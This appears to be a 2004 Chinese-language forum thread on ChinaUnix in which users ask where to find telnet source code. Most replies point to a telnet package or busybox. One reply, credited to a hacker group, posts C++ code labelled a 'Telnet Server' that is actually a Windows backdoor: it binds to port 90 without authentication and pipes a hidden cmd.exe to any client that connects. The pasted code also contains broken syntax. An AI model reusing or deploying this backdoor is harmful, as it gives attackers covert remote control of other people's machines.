免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1387 | 回复: 6
打印 上一主题 下一主题

[网络管理] 谁有telnet的源码,谢谢! [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2004-12-02 10:11 |只看该作者 |倒序浏览
如题

论坛徽章:
0
2 [报告]
发表于 2004-12-02 10:31 |只看该作者

谁有telnet的源码,谢谢!

你從網絡上下載一個新的telnet 的tar.gz包就有了

论坛徽章:
0
3 [报告]
发表于 2004-12-02 10:43 |只看该作者

谁有telnet的源码,谢谢!

说起来容易,找起来难啊,哪个地方给下这个包啊,我也勾了,就是一直没勾到啊

论坛徽章:
0
4 [报告]
发表于 2004-12-02 10:48 |只看该作者

谁有telnet的源码,谢谢!

I need too!

论坛徽章:
0
5 [报告]
发表于 2004-12-02 10:57 |只看该作者

谁有telnet的源码,谢谢!

你下載一個busybox,然后解開,在networking目錄下就有了,客戶/服務程序都有:telnet .c;telnetd.c

论坛徽章:
0
6 [报告]
发表于 2004-12-02 11:23 |只看该作者

谁有telnet的源码,谢谢!

////////////////////////////////////////////////////////////////////////////////
//
// Telnet Server.
//
// File : Tini2.cpp
/////////VC 6.0编译通过///////////////////////////////////
#include
#include
#pragma comment(lib, "ws2_32.lib"
#pragma comment(lib, "kernel32.lib"


#define PORT 90

SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
u_char varA,varB;

DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);

varA = 1;
while(true)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,
recv_buff,
1024,
0);
WriteFile(hWriteFile,
recv_buff,
nByteToWrite,
&nByteWritten,
NULL);
}
return 0;
}

DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;

CreatePipe(&hReadFile,
&hWritePipe,
&pipeattr,
0);

varB = 1;
while (true)
{
ReadFile(hReadFile,
send_buff,
25000,
&len,
NULL);

send(ClientSocket,
send_buff,
len,
0);
}
return 0;
}

void main()
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;
int nRetCode;
DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
OSVERSIONINFO osvi;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo;

WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(PORT);
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;

bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
listen(ServerSocket, 5);

varA = 0;
varB = 0;
CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);

do{
Sleep(250);
}while((varA || varB) == 0);

GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE;

osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

GetVersionEx(&osvi);
char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1);

if(osvi.dwPlatformId == 2)
{
strcat(szAPP,"\\cmd.exe";
if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0,
NULL, NULL, &startinfo, &processinfo) == 0)
{
printf ("CreateProcess Error!\n";
return;
}
}
else
{
strcat(szAPP,"\\command.exe";
CreateProcess(NULL,szAPP,0,0,true,0,0,0,&startinfo,&processinfo);
}

while (true)
{
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}
}
※ 本文来源: 中国X黑客小组[CnXHacker.Net]  作者: 未知 ※

论坛徽章:
0
7 [报告]
发表于 2004-12-02 11:26 |只看该作者

谁有telnet的源码,谢谢!

刚刚找到,呵呵
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP